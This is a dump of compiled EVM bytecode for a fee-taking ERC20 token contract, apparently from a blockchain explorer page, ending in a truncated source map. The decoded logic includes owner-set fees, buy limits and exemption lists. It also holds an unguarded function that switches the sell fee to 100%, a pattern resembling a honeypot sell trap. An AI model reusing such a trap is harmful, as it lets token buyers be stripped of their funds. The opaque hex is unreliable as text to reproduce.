c57806340b9a54b1161018057806340b9a54b1461042f578063437823ec1461044557806349bd5a5e146104655780634a74bb0214610485578063590f897e146104a657600080fd5b80632e39c6c61461038d578063313ce567146103ad5780633343ab83146103cf57806336b1a1bc146103ef578063395093511461040f57600080fd5b80631694505e116102035780631694505e146102de57806318160ddd146103165780631c321b0c14610335578063220f66961461034c57806323b872dd1461036d57600080fd5b806306fdde0314610240578063095ea7b31461026b5780631282a0a01461029b57806313fad07a146102bd57600080fd5b3661023b57005b600080fd5b34801561024c57600080fd5b5061025561075c565b6040516102629190611af8565b60405180910390f35b34801561027757600080fd5b5061028b610286366004611b5e565b6107ee565b6040519015158152602001610262565b3480156102a757600080fd5b506102bb6102b6366004611b8a565b610805565b005b3480156102c957600080fd5b50601a5461028b90600160b01b900460ff1681565b3480156102ea57600080fd5b506019546102fe906001600160a01b031681565b6040516001600160a01b039091168152602001610262565b34801561032257600080fd5b50600a545b604051908152602001610262565b34801561034157600080fd5b506102bb6001601655565b34801561035857600080fd5b50601a5461028b90600160a01b900460ff1681565b34801561037957600080fd5b5061028b610388366004611ba7565b6109b3565b34801561039957600080fd5b506102bb6103a8366004611be8565b610a1c565b3480156103b957600080fd5b5060095460405160ff9091168152602001610262565b3480156103db57600080fd5b5061028b6103ea366004611ba7565b610a67565b3480156103fb57600080fd5b506102bb61040a366004611b8a565b610bdf565b34801561041b57600080fd5b5061028b61042a366004611b5e565b610c2b565b34801561043b57600080fd5b50610327600f5481565b34801561045157600080fd5b506102bb610460366004611b8a565b610c61565b34801561047157600080fd5b50601a546102fe906001600160a01b031681565b34801561049157600080fd5b50601a5461028b90600160a81b900460ff1681565b3480156104b257600080fd5b5061032760105481565b3480156104c857600080fd5b506102bb6104d7366004611c01565b610caf565b3480156104e857600080fd5b506103276104f7366004611b8a565b6001600160a01b031660009081526001602052604090205490565b34801561051e57600080fd5b506102bb610d2f565b34801561053357600080fd5b5061028b610542366004611b8a565b60036020526000908152604090205460ff1681565b34801561056357600080fd5b5061032760145481565b34801561057957600080fd5b506102bb610588366004611c23565b610da3565b34801561059957600080fd5b5061032760175481565b3480156105af57600080fd5b506102bb6105be366004611b8a565b610de9565b3480156105cf57600080fd5b506000546001600160a01b03166102fe565b3480156105ed57600080fd5b506102bb6105fc366004611be8565b610e4d565b34801561060d57600080fd5b50610255610e98565b34801561062257600080fd5b5061028b610631366004611b5e565b610ea7565b34801561064257600080fd5b506102bb610651366004611c54565b610ef6565b34801561066257600080fd5b5061028b610671366004611b5e565b610f3e565b34801561068257600080fd5b506102bb610691366004611b8a565b610f4b565b3480156106a257600080fd5b506103276106b1366004611c71565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156106e857600080fd5b506102bb6106f7366004611be8565b610f97565b34801561070857600080fd5b506102bb610717366004611b8a565b611052565b34801561072857600080fd5b506102bb610737366004611b8a565b61109d565b34801561074857600080fd5b506102bb610757366004611c54565b611187565b60606007805461076b90611caa565b80601f016020809104026020016040519081016040528092919081815260200182805461079790611caa565b80156107e45780601f106107b9576101008083540402835291602001916107e4565b820191906000526020600020905b8154815290600101906020018083116107c757829003601f168201915b5050505050905090565b60006107fb338484611209565b5060015b92915050565b6000546001600160a01b031633146108385760405162461bcd60e51b815260040161082f90611ce4565b60405180910390fd5b6000819050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561087b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089f9190611d19565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109109190611d19565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561095d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109819190611d19565b601a80546001600160a01b039283166001600160a01b0319918216179091556019805493909216921691909117905550565b60006109c08484846112ca565b610a128433610a0d85604051806060016040528060288152602001611e88602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611709565b611209565b5060019392505050565b6000546001600160a01b03163314610a465760405162461bcd60e51b815260040161082f90611ce4565b61271081600a54610a579190611d4c565b610a619190611d63565b60175550565b600080546001600160a01b03163314610a925760405162461bcd60e51b815260040161082f90611ce4565b306001600160a01b03851603610aea5760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e0000000000604482015260640161082f565b6040516370a0823160e01b81523060048201526000906001600160a01b038616906370a0823190602401602060405180830381865afa158015610b31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b559190611d85565b905080831115610b63578092505b60405163a9059cbb60e01b81526001600160a01b0385811660048301526024820185905286169063a9059cbb906044016020604051808303816000875af1158015610bb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd69190611d9e565b95945050505050565b6000546001600160a01b03163314610c095760405162461bcd60e51b815260040161082f90611ce4565b601980546001600160a01b0319166001600160a01b0392909216919091179055565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107fb918590610a0d9086611735565b6000546001600160a01b03163314610c8b5760405162461bcd60e51b815260040161082f90611ce4565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b6000546001600160a01b03163314610cd95760405162461bcd60e51b815260040161082f90611ce4565b600d54610ce68284611dbb565b1115610d275760405162461bcd60e51b815260206004820152601060248201526f46656520697320746f6f20686967682160801b604482015260640161082f565b601055600f55565b6000546001600160a01b03163314610d595760405162461bcd60e51b815260040161082f90611ce4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610dcd5760405162461bcd60e51b815260040161082f90611ce4565b600c805460ff9092166101000261ff0019909216919091179055565b6000546001600160a01b03163314610e135760405162461bcd60e51b815260040161082f90611ce4565b600480546001600160a01b039092166001600160a01b0319909216821790556000908152600360205260409020805460ff19166001179055565b6000546001600160a01b03163314610e775760405162461bcd60e51b815260040161082f90611ce4565b61271081600a54610e889190611d4c565b610e929190611d63565b60145550565b60606008805461076b90611caa565b60006107fb3384610a0d85604051806060016040528060258152602001611eb0602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190611709565b6000546001600160a01b03163314610f205760405162461bcd60e51b815260040161082f90611ce4565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b60006107fb3384846112ca565b6000546001600160a01b03163314610f755760405162461bcd60e51b815260040161082f90611ce4565b601a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610fc15760405162461bcd60e51b815260040161082f90611ce4565b601a54600160a01b900460ff161561101b5760405162461bcd60e51b815260206004820181905260248201527f43757272656e746c792070726f63657373696e672c20747279206c617465722e604482015260640161082f565b306000908152600160205260408120549060646110388484611d4c565b6110429190611d63565b905061104d81611748565b505050565b6000546001600160a01b0316331461107c5760405162461bcd60e51b815260040161082f90611ce4565b6001600160a01b03166000908152600360205260409020805460ff19169055565b6000546001600160a01b031633146110c75760405162461bcd60e51b815260040161082f90611ce4565b6001600160a01b03811661112c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161082f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146111b15760405162461bcd60e51b815260040161082f90611ce4565b601a8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906111fe90831515815260200190565b60405180910390a150565b6001600160a01b0383161580159061122957506001600160a01b03821615155b6112695760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161082f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b038381169116148015906112f657506004546001600160a01b03838116911614155b801561130b57506001600160a01b0382163014155b80156113255750601a546001600160a01b03838116911614155b801561133f57506005546001600160a01b03838116911614155b801561135957506000546001600160a01b03848116911614155b15611414576001600160a01b0382166000908152600160205260409020546014546113848383611dbb565b11156114125760405162461bcd60e51b815260206004820152605160248201527f596f752061726520747279696e6720746f2062757920746f6f206d616e79207460448201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d696064820152703a103337b91037b732903bb0b63632ba1760791b608482015260a40161082f565b505b6000546001600160a01b0384811691161480159061144057506000546001600160a01b03838116911614155b156114bd576017548111156114bd5760405162461bcd60e51b815260206004820152603a60248201527f596f752061726520747279696e6720746f20627579206d6f7265207468616e2060448201527f746865206d6178207472616e73616374696f6e206c696d69742e000000000000606482015260840161082f565b6001600160a01b038316158015906114dd57506001600160a01b03821615155b6115215760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161082f565b6000811161157f5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161082f565b600c5460ff610100820481169116108015906115a55750601a54600160a01b900460ff16155b80156115bf5750601a546001600160a01b03848116911614155b80156115d45750601a54600160a81b900460ff165b1561161357600c805460ff191690553060009081526001602052604090205460175481111561160257506017545b80156116115761161181611748565b505b6001600160a01b03831660009081526003602052604090205460019060ff168061165557506001600160a01b03831660009081526003602052604090205460ff165b8061169c5750601a54600160b01b900460ff1680156116825750601a546001600160a01b03858116911614155b801561169c5750601a546001600160a01b03848116911614155b156116a9575060006116f7565b601a546001600160a01b03908116908516036116ca57600f54600e556116f7565b601a546001600160a01b03908116908416036116f757601654156116ef5760646116f3565b6010545b600e555b6117038484848461178d565b50505050565b6000818484111561172d5760405162461bcd60e51b815260040161082f9190611af8565b505050900390565b60006117418284611dbb565b9392505050565b601a805460ff60a01b1916600160a01b179055611764816117f3565b600454479061177c906001600160a01b03168261194d565b5050601a805460ff60a01b19169055565b8061179f5761179a611983565b6117cc565b600c805460ff169060006117b283611dce565b91906101000a81548160ff021916908360ff160217905550505b6117d78484846119c8565b8061170357611703601154600e55601254600f55601354601055565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061182857611828611ded565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611881573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a59190611d19565b816001815181106118b8576118b8611ded565b6001600160a01b0392831660209182029290920101526019546118de9130911684611209565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611917908590600090869030904290600401611e03565b600060405180830381600087803b15801561193157600080fd5b505af1158015611945573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561104d573d6000803e3d6000fd5b600e541580156119935750600f54155b801561199f5750601054155b156119a657565b600f805460125560108054601355600e80546011556000928390559082905555565b6000806119d483611ab4565b6001600160a01b03871660009081526001602052604090205491935091506119fc9084611aec565b6001600160a01b038087166000908152600160205260408082209390935590861681522054611a2b9083611735565b6001600160a01b038516600090815260016020526040808220929092553081522054611a579082611735565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b60008060006064600e5485611ac99190611d4c565b611ad39190611d63565b90506000611ae18583611aec565b959194509092505050565b60006117418284611e74565b600060208083528351808285015260005b81811015611b2557858101830151858201604001528201611b09565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611b5b57600080fd5b50565b60008060408385031215611b7157600080fd5b8235611b7c81611b46565b946020939093013593505050565b600060208284031215611b9c57600080fd5b813561174181611b46565b600080600060608486031215611bbc57600080fd5b8335611bc781611b46565b92506020840135611bd781611b46565b929592945050506040919091013590565b600060208284031215611bfa57600080fd5b5035919050565b60008060408385031215611c1457600080fd5b50508035926020909101359150565b600060208284031215611c3557600080fd5b813560ff8116811461174157600080fd5b8015158114611b5b57600080fd5b600060208284031215611c6657600080fd5b813561174181611c46565b60008060408385031215611c8457600080fd5b8235611c8f81611b46565b91506020830135611c9f81611b46565b809150509250929050565b600181811c90821680611cbe57607f821691505b602082108103611cde57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d2b57600080fd5b815161174181611b46565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176107ff576107ff611d36565b600082611d8057634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611d9757600080fd5b5051919050565b600060208284031215611db057600080fd5b815161174181611c46565b808201808211156107ff576107ff611d36565b600060ff821660ff8103611de457611de4611d36565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e535784516001600160a01b031683529383019391830191600101611e2e565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156107ff576107ff611d3656fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122035c85f0ea23cc2a771df18a1b1fcf69a83b3d17bdeca16480b8004cb0ef6434064736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102345760003560e01c806367cbd84c1161012e57806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610696578063ddbf5266146106dc578063ea2f0b37146106fc578063f2fde38b1461071c578063f7739b5f1461073c57600080fd5b806395d89b4114610601578063a457c2d714610616578063a514a07d14610636578063a9059cbb14610656578063d785d5be1461067657600080fd5b80637caefa89116100f25780637caefa891461056d5780637d1db4a51461058d5780638824e16e146105a35780638da5cb5b146105c357806394220184146105e157600080fd5b806367cbd84c146104bc57806370a08231146104dc578063715018a614610512578063768dc7101461052757806378109e541461055757600080fd5b80632e39c6c6116101bc57806340b9a54b1161018057806340b9a54b1461042f578063437823ec1461044557806349bd5a5e146104655780634a74bb0214610485578063590f897e146104a657600080fd5b80632e39c6c61461038d578063313ce567146103ad5780633343ab83146103cf57806336b1a1bc146103ef578063395093511461040f57600080fd5b80631694505e116102035780631694505e146102de57806318160ddd146103165780631c321b0c14610335578063220f66961461034c57806323b872dd1461036d57600080fd5b806306fdde0314610240578063095ea7b31461026b5780631282a0a01461029b57806313fad07a146102bd57600080fd5b3661023b57005b600080fd5b34801561024c57600080fd5b5061025561075c565b6040516102629190611af8565b60405180910390f35b34801561027757600080fd5b5061028b610286366004611b5e565b6107ee565b6040519015158152602001610262565b3480156102a757600080fd5b506102bb6102b6366004611b8a565b610805565b005b3480156102c957600080fd5b50601a5461028b90600160b01b900460ff1681565b3480156102ea57600080fd5b506019546102fe906001600160a01b031681565b6040516001600160a01b039091168152602001610262565b34801561032257600080fd5b50600a545b604051908152602001610262565b34801561034157600080fd5b506102bb6001601655565b34801561035857600080fd5b50601a5461028b90600160a01b900460ff1681565b34801561037957600080fd5b5061028b610388366004611ba7565b6109b3565b34801561039957600080fd5b506102bb6103a8366004611be8565b610a1c565b3480156103b957600080fd5b5060095460405160ff9091168152602001610262565b3480156103db57600080fd5b5061028b6103ea366004611ba7565b610a67565b3480156103fb57600080fd5b506102bb61040a366004611b8a565b610bdf565b34801561041b57600080fd5b5061028b61042a366004611b5e565b610c2b565b34801561043b57600080fd5b50610327600f5481565b34801561045157600080fd5b506102bb610460366004611b8a565b610c61565b34801561047157600080fd5b50601a546102fe906001600160a01b031681565b34801561049157600080fd5b50601a5461028b90600160a81b900460ff1681565b3480156104b257600080fd5b5061032760105481565b3480156104c857600080fd5b506102bb6104d7366004611c01565b610caf565b3480156104e857600080fd5b506103276104f7366004611b8a565b6001600160a01b031660009081526001602052604090205490565b34801561051e57600080fd5b506102bb610d2f565b34801561053357600080fd5b5061028b610542366004611b8a565b60036020526000908152604090205460ff1681565b34801561056357600080fd5b5061032760145481565b34801561057957600080fd5b506102bb610588366004611c23565b610da3565b34801561059957600080fd5b5061032760175481565b3480156105af57600080fd5b506102bb6105be366004611b8a565b610de9565b3480156105cf57600080fd5b506000546001600160a01b03166102fe565b3480156105ed57600080fd5b506102bb6105fc366004611be8565b610e4d565b34801561060d57600080fd5b50610255610e98565b34801561062257600080fd5b5061028b610631366004611b5e565b610ea7565b34801561064257600080fd5b506102bb610651366004611c54565b610ef6565b34801561066257600080fd5b5061028b610671366004611b5e565b610f3e565b34801561068257600080fd5b506102bb610691366004611b8a565b610f4b565b3480156106a257600080fd5b506103276106b1366004611c71565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156106e857600080fd5b506102bb6106f7366004611be8565b610f97565b34801561070857600080fd5b506102bb610717366004611b8a565b611052565b34801561072857600080fd5b506102bb610737366004611b8a565b61109d565b34801561074857600080fd5b506102bb610757366004611c54565b611187565b60606007805461076b90611caa565b80601f016020809104026020016040519081016040528092919081815260200182805461079790611caa565b80156107e45780601f106107b9576101008083540402835291602001916107e4565b820191906000526020600020905b8154815290600101906020018083116107c757829003601f168201915b5050505050905090565b60006107fb338484611209565b5060015b92915050565b6000546001600160a01b031633146108385760405162461bcd60e51b815260040161082f90611ce4565b60405180910390fd5b6000819050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561087b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089f9190611d19565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109109190611d19565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561095d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109819190611d19565b601a80546001600160a01b039283166001600160a01b0319918216179091556019805493909216921691909117905550565b60006109c08484846112ca565b610a128433610a0d85604051806060016040528060288152602001611e88602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611709565b611209565b5060019392505050565b6000546001600160a01b03163314610a465760405162461bcd60e51b815260040161082f90611ce4565b61271081600a54610a579190611d4c565b610a619190611d63565b60175550565b600080546001600160a01b03163314610a925760405162461bcd60e51b815260040161082f90611ce4565b306001600160a01b03851603610aea5760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e0000000000604482015260640161082f565b6040516370a0823160e01b81523060048201526000906001600160a01b038616906370a0823190602401602060405180830381865afa158015610b31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b559190611d85565b905080831115610b63578092505b60405163a9059cbb60e01b81526001600160a01b0385811660048301526024820185905286169063a9059cbb906044016020604051808303816000875af1158015610bb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd69190611d9e565b95945050505050565b6000546001600160a01b03163314610c095760405162461bcd60e51b815260040161082f90611ce4565b601980546001600160a01b0319166001600160a01b0392909216919091179055565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107fb918590610a0d9086611735565b6000546001600160a01b03163314610c8b5760405162461bcd60e51b815260040161082f90611ce4565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b6000546001600160a01b03163314610cd95760405162461bcd60e51b815260040161082f90611ce4565b600d54610ce68284611dbb565b1115610d275760405162461bcd60e51b815260206004820152601060248201526f46656520697320746f6f20686967682160801b604482015260640161082f565b601055600f55565b6000546001600160a01b03163314610d595760405162461bcd60e51b815260040161082f90611ce4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610dcd5760405162461bcd60e51b815260040161082f90611ce4565b600c805460ff9092166101000261ff0019909216919091179055565b6000546001600160a01b03163314610e135760405162461bcd60e51b815260040161082f90611ce4565b600480546001600160a01b039092166001600160a01b0319909216821790556000908152600360205260409020805460ff19166001179055565b6000546001600160a01b03163314610e775760405162461bcd60e51b815260040161082f90611ce4565b61271081600a54610e889190611d4c565b610e929190611d63565b60145550565b60606008805461076b90611caa565b60006107fb3384610a0d85604051806060016040528060258152602001611eb0602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190611709565b6000546001600160a01b03163314610f205760405162461bcd60e51b815260040161082f90611ce4565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b60006107fb3384846112ca565b6000546001600160a01b03163314610f755760405162461bcd60e51b815260040161082f90611ce4565b601a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610fc15760405162461bcd60e51b815260040161082f90611ce4565b601a54600160a01b900460ff161561101b5760405162461bcd60e51b815260206004820181905260248201527f43757272656e746c792070726f63657373696e672c20747279206c617465722e604482015260640161082f565b306000908152600160205260408120549060646110388484611d4c565b6110429190611d63565b905061104d81611748565b505050565b6000546001600160a01b0316331461107c5760405162461bcd60e51b815260040161082f90611ce4565b6001600160a01b03166000908152600360205260409020805460ff19169055565b6000546001600160a01b031633146110c75760405162461bcd60e51b815260040161082f90611ce4565b6001600160a01b03811661112c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161082f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146111b15760405162461bcd60e51b815260040161082f90611ce4565b601a8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906111fe90831515815260200190565b60405180910390a150565b6001600160a01b0383161580159061122957506001600160a01b03821615155b6112695760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161082f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b038381169116148015906112f657506004546001600160a01b03838116911614155b801561130b57506001600160a01b0382163014155b80156113255750601a546001600160a01b03838116911614155b801561133f57506005546001600160a01b03838116911614155b801561135957506000546001600160a01b03848116911614155b15611414576001600160a01b0382166000908152600160205260409020546014546113848383611dbb565b11156114125760405162461bcd60e51b815260206004820152605160248201527f596f752061726520747279696e6720746f2062757920746f6f206d616e79207460448201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d696064820152703a103337b91037b732903bb0b63632ba1760791b608482015260a40161082f565b505b6000546001600160a01b0384811691161480159061144057506000546001600160a01b03838116911614155b156114bd576017548111156114bd5760405162461bcd60e51b815260206004820152603a60248201527f596f752061726520747279696e6720746f20627579206d6f7265207468616e2060448201527f746865206d6178207472616e73616374696f6e206c696d69742e000000000000606482015260840161082f565b6001600160a01b038316158015906114dd57506001600160a01b03821615155b6115215760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161082f565b6000811161157f5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161082f565b600c5460ff610100820481169116108015906115a55750601a54600160a01b900460ff16155b80156115bf5750601a546001600160a01b03848116911614155b80156115d45750601a54600160a81b900460ff165b1561161357600c805460ff191690553060009081526001602052604090205460175481111561160257506017545b80156116115761161181611748565b505b6001600160a01b03831660009081526003602052604090205460019060ff168061165557506001600160a01b03831660009081526003602052604090205460ff165b8061169c5750601a54600160b01b900460ff1680156116825750601a546001600160a01b03858116911614155b801561169c5750601a546001600160a01b03848116911614155b156116a9575060006116f7565b601a546001600160a01b03908116908516036116ca57600f54600e556116f7565b601a546001600160a01b03908116908416036116f757601654156116ef5760646116f3565b6010545b600e555b6117038484848461178d565b50505050565b6000818484111561172d5760405162461bcd60e51b815260040161082f9190611af8565b505050900390565b60006117418284611dbb565b9392505050565b601a805460ff60a01b1916600160a01b179055611764816117f3565b600454479061177c906001600160a01b03168261194d565b5050601a805460ff60a01b19169055565b8061179f5761179a611983565b6117cc565b600c805460ff169060006117b283611dce565b91906101000a81548160ff021916908360ff160217905550505b6117d78484846119c8565b8061170357611703601154600e55601254600f55601354601055565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061182857611828611ded565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611881573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a59190611d19565b816001815181106118b8576118b8611ded565b6001600160a01b0392831660209182029290920101526019546118de9130911684611209565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611917908590600090869030904290600401611e03565b600060405180830381600087803b15801561193157600080fd5b505af1158015611945573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561104d573d6000803e3d6000fd5b600e541580156119935750600f54155b801561199f5750601054155b156119a657565b600f805460125560108054601355600e80546011556000928390559082905555565b6000806119d483611ab4565b6001600160a01b03871660009081526001602052604090205491935091506119fc9084611aec565b6001600160a01b038087166000908152600160205260408082209390935590861681522054611a2b9083611735565b6001600160a01b038516600090815260016020526040808220929092553081522054611a579082611735565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b60008060006064600e5485611ac99190611d4c565b611ad39190611d63565b90506000611ae18583611aec565b959194509092505050565b60006117418284611e74565b600060208083528351808285015260005b81811015611b2557858101830151858201604001528201611b09565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611b5b57600080fd5b50565b60008060408385031215611b7157600080fd5b8235611b7c81611b46565b946020939093013593505050565b600060208284031215611b9c57600080fd5b813561174181611b46565b600080600060608486031215611bbc57600080fd5b8335611bc781611b46565b92506020840135611bd781611b46565b929592945050506040919091013590565b600060208284031215611bfa57600080fd5b5035919050565b60008060408385031215611c1457600080fd5b50508035926020909101359150565b600060208284031215611c3557600080fd5b813560ff8116811461174157600080fd5b8015158114611b5b57600080fd5b600060208284031215611c6657600080fd5b813561174181611c46565b60008060408385031215611c8457600080fd5b8235611c8f81611b46565b91506020830135611c9f81611b46565b809150509250929050565b600181811c90821680611cbe57607f821691505b602082108103611cde57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d2b57600080fd5b815161174181611b46565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176107ff576107ff611d36565b600082611d8057634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611d9757600080fd5b5051919050565b600060208284031215611db057600080fd5b815161174181611c46565b808201808211156107ff576107ff611d36565b600060ff821660ff8103611de457611de4611d36565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e535784516001600160a01b031683529383019391830191600101611e2e565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156107ff576107ff611d3656fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122035c85f0ea23cc2a771df18a1b1fcf69a83b3d17bdeca16480b8004cb0ef6434064736f6c63430008130033
Deployed Bytecode Sourcemap
14322:14810:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17350:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18181:161;;;;;;;;;;-1:-1:-1;18181:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;18181:161:0;1023:187:1;27132:318:0;;;;;;;;;;-1:-1:-1;27132:318:0;;;;;:::i;:::-;;:::i;:::-;;20724:34;;;;;;;;;;-1:-1:-1;20724:34:0;;;;-1:-1:-1;;;20724:34:0;;;;;;16149:41;;;;;;;;;;-1:-1:-1;16149:41:0;;;;-1:-1:-1;;;;;16149:41:0;;;;;;-1:-1:-1;;;;;1658:32:1;;;1640:51;;1628:2;1613:18;16149:41:0;1467:230:1;17627:95:0;;;;;;;;;;-1:-1:-1;17707:7:0;;17627:95;;;1848:25:1;;;1836:2;1821:18;17627:95:0;1702:177:1;20634:75:0;;;;;;;;;;;;20700:1;20690:7;:11;20634:75;16232:28;;;;;;;;;;-1:-1:-1;16232:28:0;;;;-1:-1:-1;;;16232:28:0;;;;;;18350:313;;;;;;;;;;-1:-1:-1;18350:313:0;;;;;:::i;:::-;;:::i;21313:150::-;;;;;;;;;;-1:-1:-1;21313:150:0;;;;;:::i;:::-;;:::i;17536:83::-;;;;;;;;;;-1:-1:-1;17602:9:0;;17536:83;;17602:9;;;;2672:36:1;;2660:2;2645:18;17536:83:0;2530:184:1;26490:502:0;;;;;;;;;;-1:-1:-1;26490:502:0;;;;;:::i;:::-;;:::i;27484:195::-;;;;;;;;;;-1:-1:-1;27484:195:0;;;;;:::i;:::-;;:::i;1867